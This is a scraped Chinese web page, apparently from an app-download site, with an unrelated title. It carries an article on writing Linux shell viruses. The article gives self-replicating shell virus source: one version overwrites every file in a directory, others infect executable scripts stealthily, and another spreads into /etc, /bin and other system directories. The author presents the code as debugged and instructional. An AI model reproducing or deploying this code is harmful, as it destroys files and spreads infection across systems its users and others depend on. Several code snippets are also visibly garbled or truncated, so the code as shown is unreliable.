瑞鲁手机APP下载网_专注推荐好用的手机APP和游戏APP

安装软件NSIS脚本详细教程 linux下通过脚本实现自动重启程序

感染linux脚本程序技术

查看人次:1摘自:安卓手机APP

Windows 2003的IIS服务自带的基于命令行下的IIS管理脚本Adsutil.vbs

前言 ----   本文来源于29A病毒杂志,其上对linux shell病毒技术有了一个综合的阐述,我不想翻译它,我以它的那篇为模板 写了这篇中文的文章,里面的代码我都做了调试.   对于shell编程的程序员来说所谓的shell病毒技术其实根本就是小牛一毛,这点在大家看完本文后就会有所体会 但,简单归简单,我们还是要去了解它,呵呵. 主要的shell病毒技术 -------------------   当然,本文需要你至少了解linux shell编程的基础知识和一星点的病毒知识.   ok!我们进入正题!   我们来看一个最原始的shell病毒,代码最能说明问题: --------------------------------------------------------- #shellvirus I for file in * do  cp $0 $file done --------------------------------------------------------- 简单吧?遍历当前文件系统的所有文件,然后覆盖所有文件.但是,我们知道linux是多用户的操作系统,它的文件是具有 保护模式的,所以以上的脚本有可能会报出一大堆的错误,所以它很快就会被管理员发现并制止它的传染.所以我们可以 为该脚本做个判断,这样隐蔽性就大大增强了: --------------------------------------------------------- #shellvirus II for file in *   do   if test -f $file   then  if test -x $file  then   if test -w $file   then  if grep -s echo $file >.mmm  then  cp $0 $file   fi; fi; fi; fi; fi done rm .mmm -f --------------------------------------------------------- ok.我们改进了一下,加了若干的判断,判断文件是否存在,是否文件可执行,是否我们有权限写,再判断它是否是脚本程序 如果是就cp $0 $file,所以这段代码是感然该系统所有的脚本程序的,危害性还是比较大的.if grep -s echo $file>/.mmm 这句也可以这样写:if file $file | grep -s 'Bourne shell script' > /dev/nul ; then,也就是判断file是否为shell 脚本程序.   但是,脚本病毒一旦在感染完毕之后就什么也不做了,它没有象二进制病毒那样的潜伏的危害性,而且以上的脚本只是简 单的覆盖宿主而已,所以我这里利用了一下传统的二进制病毒的感染机制,效果也不错:),看看下面代码: --------------------------------------------------------- #infection head -n 24 $0 > .test .SAVEE   head -n 13 $0 > $file   cat .SAVEE >> $file   fi; fi; fi done rm .SAVEE .mm -f -------------------------------------------------------- 现在只有两个临时文件的产生了,代码也被精简到了13行.当然可以完全用;来把代码甚至写到1-2行,但这里我只是说明问题,就 不写出来了. 好,我们看看,shell病毒还能做哪些有用的事情,有可能我们想感染别的目录的文件,比如根目录或者是/etc,/bin等等,因为大多 数有用的系统配置脚本都存放在那些目录下,只要对上述代码稍作改动就可以实现了:) -------------------------------------------------------- #infection xtemp=$pwd /.test for dir in /* ; do $file   fi; fi; fi  done  cd ..   fi done cd $xtemp /dev/nul ; then  mv $file .$file  head -n 9 $0 > $file   fi; fi done .$0 -------------------------------------------------------------

相关文摘:Linux windows
标题名称:《安装软件NSIS脚本详细教程 linux下通过脚本实现自动重启程序》
本文网址:https://www.sdruilu.cn/news/tpart-19889.html